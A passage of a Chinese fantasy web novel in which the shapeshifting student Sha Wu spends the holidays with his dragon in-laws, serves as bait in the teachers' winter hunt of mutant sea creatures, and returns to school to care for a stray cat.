小白龙尝到血腥味，一下就惊醒了，看着姜纶胳膊上的两个红点，下意识牙齿幻痛想捂嘴，无奈爪子太短，整条龙差点趴地上。 姜纶手上的红点已经在结痂，把小白龙抱起来：“回去吃饭。” 小白龙现在身体太长，又是差不多直上直下的圆溜溜，抱着就往下滑。 他快速滑走，躲到青龙的脑袋边上：“我不去。我想待在妈妈身边。” 姜纶看得手痒痒：“吃完饭再过来。” “我不！” “你不饿吗？” “不饿，饿了有污染源可以吃。” “你又乱吃东西！” 姜纶最后变成金龙，才逮住溜滑的小白龙。 小白龙万万没想到，有一天他竟然会被金龙叼在嘴巴里。 他的身体软软下垂：“我像一根卡在你牙缝你的面条。”体型差着实巨大。 姚瑞云已经变成人形，让开空间给他们玩，听得发笑：“怎么也是一根肉丝。好了，一起回去吃饭。” 尽管龙丘是姚瑞云的家，但她出现在晚餐时间，还是引起了小小的轰动。 过年了，家里的宾客络绎不绝。 姚瑞云并没有穿华丽的服装，也没有多么精心打扮，反而是穿着很舒适的交领改良汉服，身上也没有佩戴任何首饰，只是经过客厅，对宾客们露出一个礼貌的微笑。 沙伍跟在她后面，完全能够感受到周围人群散发出来的尊敬……应该说是景仰之情。 她可是青龙啊。 多么幸运，他能够叫她一声妈妈。 吃过晚餐，沙伍说起开学不久后发生的事情：“风叔在链路课上做了一个妈妈觉醒体的幻相，做得太真了，一堆人喊妈妈。” 姚瑞云面对沙伍的时候，笑容非常真实：“真的？” “真的。我应该还有当时拍的视频。”沙伍很快就把视频找出来给她看，“喏，还有叫爸爸的。学校后面澄清了，但好多人都相信您真的回过了青龙城。” 姚瑞云听着沙伍说着这些细小的琐事，感觉时间仿佛回到了大灾变前。 那时候他们夫妻也经常吃过晚饭后，听女儿说起学校里的各种事情。 “哪天我回去青龙城看看。”姚瑞云说道。 她看着沙伍的眼神有慈爱，有探究。 她的傻儿子的异能实在是学得粗糙，竟然连沙伍身上沾染的气息都没察觉出来。 也可能是纳瓦尔的断头台掩盖住了另外两种微弱的气息。 姜纶听到她这么说，十分惊讶：“妈？” 姚昭华说道：“我会暂代妈妈，镇守污染源的。” 她可不是废物弟弟。 有了镇守过一次的经验之后，她也算是掌握了一些技巧。 之前的艰难，完全是她蛮干。 作为优秀的实力强大的九级，她当然可以镇守污染源。 要不是后土城这个污染源太强，她一个人就可以长期镇守。 用过晚餐，沙伍二话不说就在姚瑞云身后，对还要接待宾客的姚昭华和姜纶姐弟俩挥手道别：“拜拜。” 姜纶不高兴：“拜拜什么？你不陪我一起？” “不陪。我岁数小，我得早睡。”只比姜纶小了两岁的十九岁大学生，把自己说得像是十九个月。 偏偏姜纶还真的觉得很合理：“那你先睡吧。” 他只是这么一说，结果小白龙几乎一整个假期就睡在了山洞里。 每次姜纶去找他，都看到小白龙不是睡在青龙爪子边上，就是挂在蛇尾巴上。 “咦？小鲨鱼是不是长长了？”挂起来尾巴尖都能触地了。 姜俣的尾巴尖勾了勾：“嗯。傻吃猛涨的。” 姜纶一听，差点就炸了：“不是说了不要让他乱吃东西！污染源是个什么情况，你们都搞不清楚，让小鲨鱼一个一级……” 姜俣低头看看见小腹微微鼓胀的小白龙，再看看死水一样的深潭，最后看向跳脚的儿子：“世界上的事情，我们不能解释的占绝大多数。现在的事实是，小伍能吃掉污染源里一些很……微妙的东西。那些东西对小伍有好处。” 他调整了一下尾巴的角度，防止小白龙滑下去，“小伍只能使用一级的实力，就一定只是一级吗？” 姜纶愣住了：“小鲨鱼还能不是？我们俩天天双修……”他还能不清楚小鲨鱼的真正实力？ 哦，小鲨鱼藏起来过另外一片“星空”。  也不算是刻意藏起来，小鲨鱼自己都不知情，仪器也检测不出来，连夜老师、大姐他们都看不出来。 但总不可能再藏点什么了吧？ 姜俣的尾巴尖小幅度晃动：“我只是在想，你刚生出来的时候，跟之前的小伍差不多？只不过是比小伍胖一点壮一点。你是九级，为什么小伍就不是九级？” 姜纶彻底愣住了，变成金龙，长长一条还要趴爸爸尾巴上，挨着小白龙陷入迷茫：“爸，你说的怎么这么有道理？” “当然，因为我是爸爸。”姜俣自信。 金龙试图去叼小白龙。 小白龙抬起爪子推：“你们讨论我，不要当着我的面啊。” 金龙感觉软乎乎的力气推在自己的牙齿上，微微别开头，小心不要伤到小白龙，才说道：“背地里说你不是更不好？说，我们家小鲨鱼是不是九级？” 小白龙干脆爬到金龙的脑袋上趴好：“我要是九级就好了。按照现有信息，我不太可能生下来就是九级。或许存在我爸妈其实不是我亲生父母的可能性，那我就应该是曾经独霸一方的神龙，后来受伤境界跌落，然后变成了一个小趴菜，重新成长？可是历史上有过觉醒体是白龙的记录吗？没有。” 一个九级，不管是什么异能，觉醒体是什么，都不会没有过存在的痕迹。 历史上唯一留下来的真正的龙，只有青龙姚瑞云。 剩下的有一些传说中的具有龙特征的神兽觉醒体，但无论哪一个都不是白龙。 “白龙的觉醒体，不管有没有到九级，都会被记录。”姜俣也不得不承认这点。 小白龙感觉趴着压到吃饱的肚子，翻了个身四脚朝天，无意识地学着校霸隔空踩奶：“那就还有一种可能，我出生就被因为各种原因掉包给了我爸妈。有什么原因让出生就九级的婴儿，交给一对孤儿出生一穷二白的年轻夫妻？不要说九级的婴儿了，就是那些有异能的婴儿，一对普通人夫妻根本就没能力带。” 姜俣下意识看了看金龙，深表赞同：“是的。小纶小时候特别难带。” 小白龙骄傲：“我小时候特别好带。” “你就吹吧。等回去问沙妈妈。”金龙感觉到小白龙的动作，只是看不到，“你在干嘛呢？” “我在踩奶呢。”小白龙的爪子配合着空中踩单车一张一收，越活动越觉得灵活。 “你给我踩踩。” “踩你……咳咳咳！”小白龙把自己呛成小猫咪，在金龙厚厚长长的鬃毛里团成一球。 差点当着爸爸的面，说踩姜纶的…… 第90章 冬捕 姜俣都多少岁的人了，完全不在意这点小年轻的口花花。 他虽然觉得沙伍身上奇怪的地方很多，但也确实找不出合理的解释。 退一万步，哪怕沙伍再值得怀疑，他作为姜纶的专属净化者，就可以一定程度上肆无忌惮。 他看着小白龙睡了一觉后，飞到深潭，熟练地捞出一团灰灰的湿哒哒的东西，然后放进水潭里洗洗涮涮，变成了一团漆黑浓香的芝麻糊，一口吃下。 很神奇。 在他以前的所有认知中，污染就是污染，是一种比异能更强，会对精神造成极大负担的能量。 污染没有颜色、没有形状，当然也没有意识，更没有气味。 但是他在沙伍这里，看到了污染的意识，看到了污染的颜色、形状，甚至是闻到了气味。 他镇守了那么多年的污染源，还是第一次看到能从水潭里扒拉出东西的。 奇怪的孩子。 好带吗？ 瞧着比姜纶是好带，但是要操更多的心。 唉……他就说孩子生多了不好。 他听见黄喉貂略显尖锐高亢的吱吱声，下一秒就见小白龙变成了一只黄喉貂，站直了身体发出同样高频的吱吱声回应。 “爸，我出去玩了！” “去吧。” 黄喉貂（伪）唰一下就冲出了山洞。 嗯，小儿子很活泼可爱。 黄喉貂的皮毛特别抗冻，和猫的完全不一样。 鲨貂很快就和小黄一家汇合，在雪地先欢快地打了一架，然后才一起去捕猎。 雪地让猎物的踪迹变得更加明显。 黄喉貂的速度飞快，很快就追踪到猎物。 沙伍注意到，在捕猎的过程中，小黄更多的是掠阵，主力是三只已经和小黄一样大的小黄喉貂。 它们的攻击手段显然还有些稚嫩，来回折腾了很久，才把一只兔子给咬死。 嗯，是大黄咬住了兔子的后腿，鲨貂上去一口咬断了脖子。 三只小貂还需要妈妈帮它们撕开猎物的皮毛，才能顺利吃到肉。 鲨貂趴在小黄身边，看小黄等三只小貂吃完后，才去吃了一点骨头边剩下的肉。 一只兔子没有多大。 黄喉貂一家四口显然吃不饱。 它们稍事休息后，新一轮的捕猎开始。 冬季的森林显然食物不是那么的丰富。 主要是森林里还有其它更加危险的动物，黄喉貂的领地有限。 单纯以小貂们的实力，抓不到足以果腹的食物。 它们试图抓住一只小野猪，无奈失败了，于是最后一战它们来到了龙丘。 在这里，有温暖的房间，有美味的食物，还有善心的人类提供医疗，甚至美容。 鲨貂看着四只黄喉貂很快就变得蓬松柔软，身上的皮毛闪闪发光，刚才捕猎产生的血污被洗得干干净净。 田书南问鲨貂：“小伍要一起洗洗吗？” 鲨貂趴在地上：“不用了。”他用水系异能可以一秒变干净，“小黄它们这样没问题吗？会不会变成家养动物？” 田书南笑笑：“不会。它们其实很少过来。本来黄喉貂应该是夫妻共同带孩子。小黄的丈夫应该是出意外了，它一个人……一个貂带大三个孩子，还把它们都养到成年，只能采取这样的方法。普通的黄喉貂夫妇，其实也很难一次性带大三个孩子。” 鲨貂若有所思：“书南姐，我想吃汁水很足的大肉包。” “家里好吃的那么多，怎么想吃肉包？”田书南好奇。 “最近甜食吃多了，想吃点咸的。带去和爸爸妈妈一起吃。” 田书南愣是从黄喉貂黑黢黢的脸上看出了萌：“好~你回房去洗澡，换身漂亮点的衣服，我去给你做大肉包。” 他们生活的这几个楼层没有外人，鲨貂直接往楼上蹿，没一会儿就变成了翩翩美少年下楼。 他难得穿了一身交领袍服，不用异能掩饰的银白长发盘了个发髻，簪了一根缀了红宝石的金簪。 大肉包还没做好。 田书南拉着他先拍了好几张照片：“小伍平时就该多穿穿汉服，像个小公子。” “平时在宿舍里也穿。”他其实还挺喜欢的，衣服没什么束缚，穿着很随意，“第一次穿这种窄袖的。”感觉很帅。 田书南递给他一些小零食：“一会儿得下楼去走一圈，让别人看看我们家小伍。” 等大肉包出锅，田书南看他打包了带去院子里，把人拦住，让机器人送过来一块飞板：“你踩飞板去。” 沙伍：“外面冷。”虽然他抗冻，但是后土城这边的冷风跟小刀子似的，一刀一刀往脸上割。 其实这也还好，主要是他有点懒，想坐着不想站着。 “冷你就给自己套个膜。”田书南打开光屏，给了他两个图样，“喏，把飞板变成飞剑，把保鲜盒变成食盒。” 看过仙侠剧的沙伍很快就领会精神，没一会儿就在众目睽睽之下，变成仙剑少侠御剑飞行。 他的自我感觉：帅得爆表！ 宾客们的感觉：“谁家小孩儿中二病犯了？” 中二病少年被姜纶带上飞机的时候，整个人还是懵的：“寒假结束了？” 他明明感觉才过了没几天。 难道是他一不小心连着睡了好几天？ 怎么这么快就结束了呢？ 他还没学会怎么把身体盘得圆圆的。 姜纶把他抱到卧室：“真睡傻了？寒假还有一个礼拜。新年假期结束了，我们得回青龙城上班。” 沙伍趴在床上，抬手捂住耳朵。 姜纶把他翻过来：“别趴着睡。” “哦。”沙伍看了看单膝跪在他身边的姜纶，直接把他拉到自己身边抱紧，“陪我眯一会儿。” 姜纶摸摸他的肚子：“你吃污染源真的没问题吗？” “吃芝麻糊能有什么问题？”沙伍窝在姜纶怀里，整个假期都是吃饱喝足无所事事的美好生活，“你说青龙城的污染源是草莓味的，还是樱桃味的？” 姜纶扯过被子盖好，低头亲在他眼睛上：“睡觉。梦里什么都有。” “哦。”沙伍闭上眼睛，又在他胸口蹭蹭，“我跟院长商量，能不能带我去尝尝？不知道妈妈什么时候来？” 姜纶想着夜鹭应该还在朱雀城，不会陪着小鲨鱼胡闹。 夜鹭回来了，带着大乌鸦一起回来了。 院长和老师都迫不及待要给学生上课，对教育事业充满了热情。 沉溺在放假节奏中的白猫，抓着窗帘垂死挣扎：“我不。寒假还没结束！” 大乌鸦一张嘴，就把白猫整个叼住，几乎一瞬间就换了个地方，然后往海里一扔。 白猫手上还抓着一点碎窗帘，手忙脚乱变成大白鲨，刚刚把背鳍露出海面，立马就往海底下潜，吐泡泡都鬼鬼祟祟的。 海里面这都是神马？ 那些体型巨大的鳐鱼、鲎、魔鬼鱼、翻车鱼、海龟啥啥的就算了，为什么还有拿着三叉戟的？ 这算是海王波塞冬，还是二郎神？ 他只咬过海龟…… “不咬一口尝尝？” “他们太厉害了。”大白鲨隐藏在海草中，圆圆的黑眼睛暗中观察，“等他们落单了，找找机会。” 突然，大白鲨猛地蹿出海面。 一条很粗的绳子捆住大白鲨，把三米多长的鲨鱼缓慢放回海里。 绳子说：“小潘，不要吓唬小孩。” 大白鲨看到人身鱼尾的鲛人，叫了一声：“潘老师。”然后注意力很快就被“绳子”吸引过去。 松开他身体的绳子是海蛇经典的扁平尾巴，黑白环的花纹在游动的时候自带眼花缭乱的效果，声音很熟悉。 “谢谢于老师。” 三年十班的班导于老师，人美心善情绪稳定，和他们班的李老师那种活人微死的沧桑中年人很不一样。 巨大的海蛇身体呈现自然的S形。 大白鲨环绕着海蛇游来游去：“于老师，你能不能把身体盘得圆圆的？” 海蛇不理解：“圆圆的？这样吗？” 十米长的巨大海蛇直接盘了两圈，无视大海的风浪，比圆规画出来的圆还圆。 “哇噢！”大白鲨抖抖翅尖，“于老师好厉害！” 大乌鸦和夜鹭落在大白鲨的背鳍上：“玩呢？走了，去冬捕！” 冬捕，是青龙学院老师们的传统保留项目，也是一项重要的工作。 每年冬天，学生寒假的时候，老师们会在院长的带领下，前往大海围剿高阶变异生物，预防出现第二个虎鲸群那样的可怕存在。 今年的冬捕在大白鲨的参与下，过程异常顺利。 老师们只需要放出大白鲨，等大白鲨吸引到高阶变异生物，他们再上前围剿就行，大大节约了寻找的时间。 大白鲨躲避高阶变异生物追击的能力非常强。 他的速度快，身形灵活，对危险的感知敏锐，最重要的是不存在面对高阶压制的恐惧无力。 甚至作为一个一级，他还能偶尔用异能反咬高阶变异生物，哪怕他的攻击力很难对它们造成立竿见影的伤害，但仇恨拉得稳稳的。 并不是所有青龙学院的老师们都了解沙伍。 他们都知道有这么个人，主要是因为姜纶的关系，顶多知道沙伍的读书成绩不错，很被院长看重。 本来他们以为沙伍被院长重视，也是因为姜纶的关系，经过一天的合作，他们才发现是沙伍本身足够优秀。 扪心自问，他们在一级的时候能够这么从容面对高阶变异生物吗？不能。 他们甚至没有资格在一级的时候，来参与这样的战斗。 黑夜中的生蚝岛上架起了烤炉，厨房的汤锅里滚着浓汤。 精疲力尽的沙伍趴在吊床上，吃着机器人喂到嘴边的草莓蛋糕。 姜纶端着一个木桶出来，放在外面的长条餐桌上：“开饭了。” 家政机器人推着小推车，把一盘盘菜放到桌上。 庭院外，寒风呼啸。 庭院里，亮如白昼，微风习习，还有装饰的鲜花绿植。 “感觉该换上礼服才行。”于老师微笑着坐下。 旁边的李老师说道：“第一次休息条件这么好。” “是啊。以前也不是没来过这里，怎么就没想到好好布置？” 沙伍手瘫脚软地挪到自己的位置上坐下，好奇：“老师们以前来过生蚝岛？” “来过。这附近的一片岛屿，我们都来过。” “有两年我们还和极光城合作。” “冬捕都是游到哪儿是哪儿，根本布置不过来。” “明天是往北推进，还是往南？” “往北，进北冰洋。”夜鹭说道，喙上面沾了点草莓果酱。 沙伍一看，顿时就回头去看自己放在吊床边上的草莓蛋糕，果然没了，对夜鹭怒目而视，一指头戳进夜鹭的胸毛。 夜鹭低头就把他手指叼住。 沙伍从心：“我错了。” 老师们：沙同学确实优秀，但院长也实在是太惯着孩子了。 姜纶跟沙伍咬耳朵：“没事。我还留了一份红薯慕斯蛋糕。” 大乌鸦飞过来，变成人形坐在他们旁边的座位上：“冰箱里那个蛋糕吗？我吃掉了。” 沙伍顿时就看着他呲牙。 风阳羽抬手就给了他脑门一下：“闭嘴，快点吃完快点睡觉，没见天都黑了。” 漫长的黑夜让他的脾气变得十分暴躁，别说沙伍一个小趴菜，就是一群七级起步的老师们，都瞬间噤声，专心干饭。 在寒冷的冬夜里，经过一天紧张的战斗后，能够吃上这么一顿热气腾腾的美味晚餐，实在是一件很幸福的事情。 过去数年，数十年，他们的冬捕基本都是在海里过夜，能够找到一个条件过得去的岛屿或者礁石都算是住宿条件好。 晚饭过后，上次姜纶为了海豚们收拾妥当的猎人小屋终于派上了用场，里面有足够多的房间，可以让他们好好休息。 第二天一早，需要上班的姜纶马不停蹄赶回青龙城，顺手带走第一天冬捕的收获。 夜鹭和风阳羽带着很多师和一个生，杀入北冰洋。 在跨越一个临界点后，沙伍明显感觉到海域的差别。 进入北冰洋了。 大海更加静谧。 这种静谧是心理层面的。 北冰洋内有许多生物，非常热闹。 高阶的变异生物远远就能闻到冰淇淋的甜香。 老师们其实都关注着大白鲨，发现他活动自如，一点都没有被冷到的样子，还能够照常带着他们猎捕变异生物。 老师们收获海豹+1+1+1…… 环斑海豹灵活游动，和大白鲨碰了一下鼻子：“小伍，是我呀~你不认识我了吗？” 会说话的，是人！ 他唯一认识的海豹：“你好。你闻上去还是这么美味~” 环斑海豹：“……谢谢。” 现在的小孩子是怎么回事？ 他上次被大白鲨捡回去，难道就是因为他闻着好吃？ 环斑海豹出现在这里，也是为了捕猎，刚好加入到队伍中来。 他的战斗力惊人，殴打完北极熊，接着殴打鲸鱼。 一只看起来小小的海豹，在冰面上和冰面下都肆无忌惮。 经过连续长达数个小时的捕猎后，海豹还精神奕奕地跟到了生蚝岛上，打包走了多余的新鲜蔬果。 “感觉这次跟来玩似的。”老师们吃完饭，发出感慨。 本来这种冬捕，他们大概率就直接住在冰面上，但是这次显然是把生蚝岛作为了据点。 路上直接由大乌鸦和夜鹭带着高速往返。 老师们只需要每天杀杀杀，都不需要考虑通勤，甚至受伤都有太阳神鸟瞬间治愈。 每天的生活简单又充实，感觉一晃就到了开学。 他们实在是抓了太多变异生物，哪怕是夜鹭和大乌鸦都得分几次才能带回去，最后一次走的时候问沙伍：“我们先回去了，你真的一个人守在这儿？” 李老师很不放心自己的学生：“我留下来陪你吧？” “不用了。明天早上，姜纶带我回去。”沙伍对李老师摆摆手，“老师快走吧，一会儿赶不上大部队了。” 没错，两只坏鸟只带走了渔获。 老师们需要自己游回去。 老师们在海洋中的速度都不慢，问题是经过了这么多天的冬捕后，他们还得顶着身体和精神的疲惫，游过几个时区才能回到青龙学院。 “那你自己小心，待在岛上不要乱跑。我先走了。”李老师很不放心地跟随同事们跳进海里。 等游出一段距离后，他抬头回看了一眼生蚝岛，发现岛上有一道白白的什么东西，想要看仔细一点，视线从浪潮汹涌的海面往高处的海岛看过去又十分困难。 青环海蛇在大海龟后背上盘成圆圆的圈，对李老师说道：“学弟，走了。” 红色的龙鱼像是一道在漆黑海面下的光，迅速游到队伍中去。 伴随着他的归队，一道微弱的白光将整个队伍笼罩。 流经他们的海水变得温顺，洋流推着他们往所需要的方向前进。 百米长的白龙盘踞在生蚝岛上，看了看远去的老师们，回头努力把自己的身体盘圆。 追着尾巴跑了好几圈之后，一阵寒风吹清醒了他的头脑。 白龙飞到生蚝岛上的制高点——一座石头山顶。 两只前爪像是轻飘飘地落在上面，长长的身躯蜿蜒而下，像一道小小的冰川，龙龙祟祟地看向北冰洋的方向。 想去。 寒风吹着很舒服。 在北冰洋用大白鲨的样子游泳的时候，他就觉得很惬意，现在变成白龙后，感觉更加舒适，像是身上的什么枷锁去除掉了一样。 可能是他没真正用过大白龙的样子活动过。 缺乏九级的保护，他很清楚自己没法一个人在北极圈保证安全。 算了，吹吹风吧。 姜纶临下班的时候，收到李老师发过来的消息：“我们已经进入海湾了。沙伍还在生蚝岛上，说等你去接他？” “谢谢李老师，我马上过去。”姜纶拿上霍神送过来的甜点盒子，谢过之后，直接就离开了学校办公楼。 他的速度很快，老师们刚上岸，他差不多就到了生蚝岛。 金龙落在熟睡的白龙身边。 白龙抬起头，积雪伴随着他的动作往下抖落：“下雪了。” 金龙偏头用自己的脸颊蹭了蹭白龙的：“睡在外面不冷？” “不冷，很舒服。”白龙身体躬起，接着一个下压，像猫一样伸懒腰，爪子在黑色的岩石上抓过，什么痕迹都没留下。 金龙歪头看着，用自己的爪子在刚才白龙抓过的地方轻轻一压，黑色的岩石上留下深深的抓痕。 “人家长这么大不容易，你还把人家抓烂。”白龙的声音还带着刚醒的懵懂，视线看了看金龙，又往北极的方向眺望。 姜纶变成人形，扬了扬手上的蛋糕盒：“霍神刚送来的，还是热的。” 大白龙瞬间变成小白龙，绕着姜纶的肩头，往他后背一挂：“吃！” 温暖的餐厅里，密封性很好的蛋糕盒打开，里面是两个不同温度的保鲜盒。 烤红薯散发着浓郁的蜜香，冷藏保鲜盒里的芝士蛋糕瞧着很基础，味道一点都不基础。 原本打算先做饭再吃的姜纶，都没忍住先把点心吃了。 沙伍一手拿着茶杯，一手拿着签子烤棉花糖：“你说院长愿不愿意带我们去北极圈刨冰山？” 姜纶就着沙伍的手，喝了一口红茶：“短时间内大概不行。刚开学，夜老师会很忙。” 沙伍问：“那大姐呢？” “不出意外的话，今年就要开始推恢复旧有的省市区划。” 意思是大姐很忙。 沙伍把烤好的棉花糖塞嘴巴里，感觉也不是那么的外脆里糯焦香奶香层次分明……“怎么这么好吃？！” 姜纶不去吃沙伍递过来的一个完整的棉花糖，一口咬住沙伍剩下的半个：“嗯，好吃。” “噫~”沙伍故意发出嫌弃的声音，凑过去在他唇上啾了一口。 嗨呀，还是他家小少爷最甜。 姜纶回亲了一下：“老师们总算是走了。这几天岛上可太热闹了。” 沙伍感觉倒是还好：“每天冬捕回来，累得要死。哪里有什么精力热闹？” 他只负责引怪还好点，老师们可是要负责杀怪的。 说是冬捕，但更像是一场高阶异能战士之间的小规模斩首行动。 或许这是属于老师们的军训？ 沙伍感觉自己只是轻微走了一下神，姜纶就做好了晚餐，不由得有些不好意思：“对不起，我在家闲着没事，应该做好晚餐等你下班回来的。” 厨房机器确实很方便，但内置食谱吃多了就那么一回事，没有自己炒的炖的有滋味。 姜纶夹了一筷子牛腩给他：“厨房机器大部分都处理好了，我也就是回来颠两下勺。再说你今天不是给我做了一道菜嘛。” “嗯？”他做菜了？他怎么没印象？ “烤棉花糖。”姜纶微笑，“好啦，吃饭。明天开学要早起，一会儿泡个热水澡早点睡觉。” 沙伍狐疑地看着他，眼角的余光扫了一眼地毯，本来以为今天岛上没人，新地毯要保不住了。 姜纶问：“怎么了？” 沙伍不想说危险的地毯，转了个话题：“你酿的酒被风叔拿走了。” 姜纶咬断牛筋的力度大了一点，软糯的牛筋一点都没分散掉他的注意力。 平时一定会让他生气的话题，这会儿没什么反应：“拿走就拿走了。” 对他来说，最好的“食材”肯定是小鲨鱼，可惜…… 小鲨鱼这几天跟着冬捕，肯定很累了。 老师们都是七级八级的高阶异能战士，小鲨鱼一条一级的小（？）鱼，还得负责当鱼饵，每天高强度地逃命十个小时，想想就觉得小鲨鱼辛苦。 他知道有夜老师和风阳羽看着，小鲨鱼安全无虞；也知道这是小鲨鱼想要变强的必经之路，甚至已经算得上是捷径；但他还是舍不得。 “我就没法教你。”小鲨鱼吃苦受累他都见不得，要是小鲨鱼哪天在训练的时候受了伤……不敢想，想想就心痛。 沙伍不知道姜纶怎么就突发感慨了：“为什么？” 他洗完澡出来，往床上一坐，忘记岛上没信号，拿起手环就想戳开班级群看，结果听姜纶这么没头没尾来了一句：“你不是教我链路吗？” 姜纶拿上睡衣进去浴室：“我更想教你生理卫生课。”《 》 90-95 第91章 1 新学期开学，沙伍已经没有了激动的心情，面对同学们对他放假就失联的讨伐，左耳进右耳出。 小丑鱼推他：“说句话。” 沙伍趴在桌子上：“在家养膘呢。天天吃了睡睡了吃。” 班长看他没什么变化的体型：“那你养的膘呢？” 沙伍撸起袖子，微微用力，显露出漂亮的肌肉线条：“我现在能打十个。” 墙一样高大厚实的班长：“呵。” “不服单挑啊！” 班长冷哼：“你当我傻啊？不是说要打十个吗？等着，我攒十个人来跟你打。”他说干就干，直接跑到十号楼的回廊中间喊，“来九个人，组团刷大白鲨！” “我我我！算我一个！” “我壳上的牙印！” “我的身上也有鲨鱼的牙印！” “滚蛋，你们这些手下败将，上了也打不赢，还是我来！” 很快就有许多学生真真假假地撵着沙伍满楼蹿。 “安静！” “都是猴儿呢！” 闹腾的学生们开学就被老师们教训了一顿。 刚经历了冬捕的老师们一身杀气，学生们瞬间乖得跟鹌鹑似的，把报到流程走完，全程安静如鸡。 沙伍跟小丑鱼他们一起往食堂走的时候，突然有几个穿着其他学院校服的学生拦住了他们的去路：“你好，你是沙伍同学吗？” 沙伍不明所以：“是的。你们是？” “你好你好。我是校园喵盟的社长。我们社团是负责照顾大学城内的流浪猫。之前有人看到校霸最后进入了校行政楼，不知道你有没有校霸的下落？” “我问一下。”沙伍一下就停住了脚步，打开手环。 他今天早上刚从生蚝岛回宿舍，换了个衣服吃过早餐就到学校里了，还真不知道校霸有没有跟着祁大厨回来。 早餐桌上没看到，也可能校霸待在宿舍那边。 校园喵盟的几个成员见他用手环联系人，还以为是联系姜纶。 结果手环视频打开的时候，对面出现的是一只威风凛凛的雪白狮子猫：“喵？” 镜头太近，沙伍看不清校霸周围的环境，直接查了一下定位：“校霸在老宿舍呢。” 视频里出现姜纶的脸：“校霸在跟谁说话？” 沙伍快速解释了一下，问校园喵盟的人：“校霸没事。我现在是需要跟你们办理什么手续吗？” 校园喵盟的人赶紧摆手：“不不不。我们只是负责照顾它们的。你们是打算把校霸收编吗？” 沙伍没考虑过这个问题：“啊？它是我的朋友。”他怎么能收编自己朋友？ 他感觉在校霸眼里，自己更像是校霸的小弟。 没听说过小弟能收编老大的。 校园喵盟的人们最后还是在行政楼下的草坪一角，见到了校霸。 校霸经过了专业营养师的照顾，渡过了将近一个月的寒假，浑身的皮毛溜光水滑，白色长毛的反光不显眼，像是自带柔光，整只猫明显壮硕了一圈。 校园喵盟几个感性的小姑娘小伙子眼圈都红了：“你们把校霸照顾得真好。” “校霸，你要好好的。” 校霸显然认识他们，蹲坐在他们面前，抬起爪子跟他们挨个握手：“喵。” 校园喵盟的成员们依依不舍地走了。 校霸拉着沙伍给他看购物网站。 小丑鱼惊奇：“校霸真的会用手环？它自己会买东西？” 沙伍盘腿往草地上一坐：“教过它一点，不过它账户上没钱，应该是不能买。”不知道一个假期过去，校霸在祁叔那儿学到了什么。 他仔细看校霸点开的购物车，发现里面全是各种大鱼大肉和大鱼大肉的周边。 看纪录片看出来的后遗症？ 沙伍指着一只一级变异花公鸡：“要吃还是要玩？” 校霸端端正正坐好，仰头用脑门在沙伍下巴上蹭了一下：“喵~” “好家伙！糖尿病都犯了。”壮汉班长被这一声叫的，已经打开了购物软件，“果然能成为校霸，不简单啊不简单。链接发我，我给校霸买。” 小丑鱼无语：“沙伍已经买好了。” “啊？买了活的还是死的？” “一只活的，一只死的，还有一只玩具。”沙伍抱着校霸，反应过来自己有点蠢，“一级变异的，校霸也吃不了。” 小丑鱼举手：“我能吃。你家还缺宠物吗？在上大学，会自己买买买的那种。” “滚蛋。” 小丑鱼他们真滚了：“你玩吧。我们去食堂随便吃点，赶着回宿舍收拾行李。” 沙伍的午餐不用他们担心，都到了姜纶的地盘了。 他们和沙伍一起吃饭，压力巨大。 “哦，拜拜。”沙伍目送他们离开，抱着校霸回到四楼姜纶的办公室。 助理指了一下会议室的方向：“姜先生在开会。” “好的。”沙伍径自开门进去，走到休息室里，开始给校霸做日常治疗。 校霸被祁大厨针对性调理了快一个月，体内的情况明显比寒假前要好得多。 淤堵的地方，原先像是凝固的水泥，现在能够找到缝隙。 只要有缝隙，对沙伍来说就好解决。 他极其小心地用异能一点点渗透进那些缝隙，一点点软化那些坚硬的异物。 校霸体内这样淤堵的地方实在是太多了。 沙伍必须集中全部精神，不然一不小心就有可能对校霸造成伤害。 这种治疗对校霸来说显然很舒服。 它很快就仰躺着，隔空踩奶。 姜纶开完会回来，听助理说沙伍和校霸都回来了，就顺着去休息室看了一眼，想到小白龙也曾经做同样的动作，就会心一笑，伸手小心关上休息室的门，对跟过来的下属指了一下面前的位置：“坐。” 沙伍买的花公鸡就是同城的，物流很快。 晚上校霸就喝上了鸡汤，甚至还有一点点鸡腿肉。 沙伍有些担心：“校霸这么吃没问题吗？” “没问题。”祁大厨充满自信，“校霸本来就是有异能的，只不过是受了伤，异能没了。它的检测结果你也看了，稍微吃一点异能食物，对它的身体有好处。校霸很聪明，知道什么能吃，什么不能吃。” 校霸像是听懂了，甜甜地叫了一声：“喵~” 祁大厨摸摸校霸。 沙伍看看祁大厨，再看看校霸：“叔，你说校霸会不会原来是个人？” 祁大厨朝他翻了个白眼：“你读书都读哪儿去了？来，我问你。受伤后长期保持觉醒体，无法恢复人形，是什么情况？” 沙伍秒答：“污染超过精神控制的上限。” “你还是半个净化者呢。你看校霸身上有污染吗？” “没有。” “那不就得了？这就是校霸的本体。什么校霸是人……平时少看点片子。”姜祁突然想到那只活鸡，“活的那只你准备做什么？” 沙伍看向校霸：“我不知道啊，校霸让买的。” 祁大厨：“你在跟我说笑？” “真的。” 可惜完成“狩猎”的校霸并没有再展示一遍网络购物的技能，伙同等在一旁的小粉，把关在笼子里的花公鸡放出去，然后开始进行围猎。 这种大规模饲养的变异鸡，虽然还保留了一级变异，但是攻击力很弱。 有八级的小粉压阵，完全不用担心校霸会受伤。 花里胡哨的大公鸡在宽阔的草坪上奔跑扑腾，像是一只巨大的逗猫棒。 鲨猫也很快加入了进去。 祁大厨看着三只真猫假猫，把大公鸡撵得羽毛乱飞，叹气：“都不容易。” 阿大阿二在边上憋笑：“我去问问小少爷，要不要在农场也养一些这样的花公鸡？” “还是算了。这种鸡的口味一般。”唯一的优点大概就是长得足够花哨，“他们喜欢，直接买就是了。” 大乌鸦飞到厨房里：“晚餐好了吗？” 太阳神鸟的作息，晚餐时间比其他人更早。 “好了。”祁大厨说着，把丰盛的饭菜连同落在餐车上的大乌鸦一起，推到了餐厅。 给九级做饭说简单也简单，说难也难。 九级的主要能量来源不是食物。 所以在烹饪食物的时候，不需要考虑食材本身的能量多寡，只需要考虑好吃。 但好吃很难。 九级对于食物的感知异常敏感，稍微有一丁点不协调的地方，在他们口中就会被无限放大。 祁大厨的厨艺，完全是被姜纶一点点磨出来的，也只能做到不出错。 丫的，一屋子刁民，还是他的小猫咪可爱。 校霸真厉害，一举锁喉。 祁大厨完全忽视了被藤蔓捆住的鸡爪子和喙，只觉得狮子猫天下第一勇猛无敌。 旁边胖胖的那只狮子猫不算。 假猫。 甚至假胖。 阿大拿了一杯奶昔递给祁大厨：“小伍是不是胖了？” 